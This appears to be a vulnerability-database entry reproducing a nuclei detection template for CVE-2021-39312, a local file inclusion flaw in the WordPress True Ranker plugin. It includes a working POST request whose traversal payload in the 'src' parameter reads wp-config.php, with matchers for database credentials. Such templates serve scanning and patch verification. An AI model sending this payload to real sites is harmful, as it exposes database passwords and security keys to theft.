Lucene search
K

WordPress True Ranker <2.2.4 - Local File Inclusion

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 34 Views

WordPress True Ranker <2.2.4 - Local File Inclusion vulnerability allowing unauthorized access to sensitive files via src parameter in examples.php fil

Related
Refs
Code
id: CVE-2021-39312

info:
  name: WordPress True Ranker <2.2.4 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
  impact: |
    Unauthenticated attackers can read sensitive configuration files like wp-config.php via local file inclusion, exposing database credentials and WordPress security keys.
  remediation: Fixed in version 2.2.4
  reference:
    - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312
    - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39312
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39312
    cwe-id: CWE-22
    epss-score: 0.78431
    epss-percentile: 0.99531
    cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: trueranker
    product: true_ranker
    framework: wordpress
  tags: cve,cve2021,unauth,lfr,wpscan,wp-plugin,lfi,wp,wordpress,trueranker,vkev,vuln

http:
  - raw:
      - |
        POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402206069c3ec9e30c5b773267ceb013216348b0576f9f62f5b1a5c442c274bd01ddd0220637af133c6ca73cc43376db0dd9cf08c04bf9c932a2767b0ef33431d70dda128:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7High risk
Vulners AI Score7
CVSS 25
CVSS 3.17.5
EPSS0.78431
SSVC
34